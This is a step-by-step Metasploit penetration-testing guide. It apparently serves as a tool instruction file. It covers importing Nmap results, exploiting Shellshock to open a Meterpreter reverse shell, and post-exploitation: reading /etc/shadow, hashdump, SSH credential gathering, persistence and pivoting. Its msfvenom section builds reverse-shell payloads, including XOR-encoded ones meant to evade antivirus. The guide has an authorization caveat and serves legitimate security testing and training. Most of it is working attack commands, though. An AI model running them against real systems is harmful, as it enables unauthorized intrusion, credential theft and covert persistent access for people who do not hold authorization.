Metasploit Framework

Overview

Metasploit is the world's most used penetration testing framework. It contains 2,000+ exploits, 500+ payloads, and extensive post-exploitation modules. Use it to validate vulnerabilities found during scanning, demonstrate impact, establish persistent access, and pivot through networks. Integrates with Nmap output for seamless workflow.

Instructions

Step 1: Setup and Database

# Start Metasploit with database (stores results across sessions)
msfdb init
msfconsole

# Inside msfconsole:
# Import Nmap scan results
msf6> db_import scan-results.xml
msf6> hosts            # list discovered hosts
msf6> services         # list discovered services
msf6> vulns            # list known vulnerabilities

# Search for exploits by service/CVE
msf6> search type:exploit name:apache
msf6> search cve:2024-1234
msf6> search type:exploit platform:linux service:ssh

Step 2: Exploit a Vulnerability

# Example: Exploiting a known web server vulnerability
msf6> use exploit/multi/http/apache_mod_cgi_bash_env_exec
msf6 exploit(apache_mod_cgi_bash_env_exec)> show options

# Configure target
msf6> set RHOSTS 192.168.1.100
msf6> set RPORT 80
msf6> set TARGETURI /cgi-bin/status

# Choose payload
msf6> set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf6> set LHOST 192.168.1.50      # your IP
msf6> set LPORT 4444

# Validate before exploiting
msf6> check                         # tests if target is vulnerable (non-destructive)

# Exploit
msf6> exploit
# [*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:43210)

Step 3: Meterpreter Post-Exploitation

# Inside a Meterpreter session:
meterpreter> sysinfo                # OS, hostname, architecture
meterpreter> getuid                 # current user
meterpreter> getpid                 # current process

# File system
meterpreter> pwd
meterpreter> ls
meterpreter> cat /etc/shadow
meterpreter> download /etc/passwd ./loot/
meterpreter> upload ./tools/linpeas.sh /tmp/

# Network
meterpreter> ipconfig               # network interfaces
meterpreter> route                   # routing table
meterpreter> arp                     # ARP cache (discover other hosts)
meterpreter> portfwd add -l 3306 -p 3306 -r 10.0.0.5
# Forward local 3306 to internal host 10.0.0.5:3306

# Privilege escalation
meterpreter> getsystem              # attempt local privilege escalation
meterpreter> run post/multi/recon/local_exploit_suggester
# Suggests kernel exploits for the target OS

# Persistence (authorized testing only)
meterpreter> run persistence -U -i 60 -p 4444 -r 192.168.1.50

# Credential harvesting
meterpreter> hashdump               # dump password hashes (needs SYSTEM)
meterpreter> run post/linux/gather/hashdump
meterpreter> run post/multi/gather/ssh_creds

Step 4: Pivoting Through Networks

# Add route through compromised host to reach internal network
msf6> route add 10.0.0.0/24 1      # session 1 as gateway

# Use SOCKS proxy for tools that can't route through Meterpreter
msf6> use auxiliary/server/socks_proxy
msf6> set SRVPORT 1080
msf6> run -j

# Now use proxychains with any tool
# proxychains nmap -sV 10.0.0.0/24
# proxychains sqlmap -u "http://10.0.0.5/app?id=1"

# Scan internal network through the pivot
msf6> use auxiliary/scanner/portscan/tcp
msf6> set RHOSTS 10.0.0.0/24
msf6> set PORTS 22,80,443,3306,5432,6379,8080
msf6> run

Step 5: Payload Generation

# Generate standalone payloads with msfvenom
# Linux reverse shell
msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f elf -o shell.elf

# Windows reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f exe -o shell.exe

# Web payloads
msfvenom -p php/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f raw -o shell.php

msfvenom -p java/jsp_shell_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -f war -o shell.war

# Encoded payload (evade basic AV)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -e x64/xor_dynamic -i 5 \
  -f exe -o encoded-shell.exe

# Set up handler for the payload
msf6> use exploit/multi/handler
msf6> set PAYLOAD linux/x64/meterpreter/reverse_tcp
msf6> set LHOST 0.0.0.0
msf6> set LPORT 4444
msf6> exploit -j       # run in background

Guidelines

• Written authorization is mandatory. Metasploit contains real exploits — unauthorized use is a criminal offense.
• Always check before exploit — confirms vulnerability without triggering the payload.
• Use db_import with Nmap XML to build a target database — then services and vulns guide your exploit selection.
• Meterpreter is a stealthy, in-memory payload. Prefer it over raw shells for post-exploitation.
• Document every action. Metasploit logs to ~/.msf4/logs/ — supplement with screenshots.
• Pivoting via route add + SOCKS proxy lets you reach internal networks from your workstation.
• exploit -j runs exploits as background jobs — handle multiple sessions simultaneously.
• msfvenom payloads need a matching handler. Always start the handler before delivering the payload.
• Clean up after testing: remove persistence, uploaded files, and port forwards.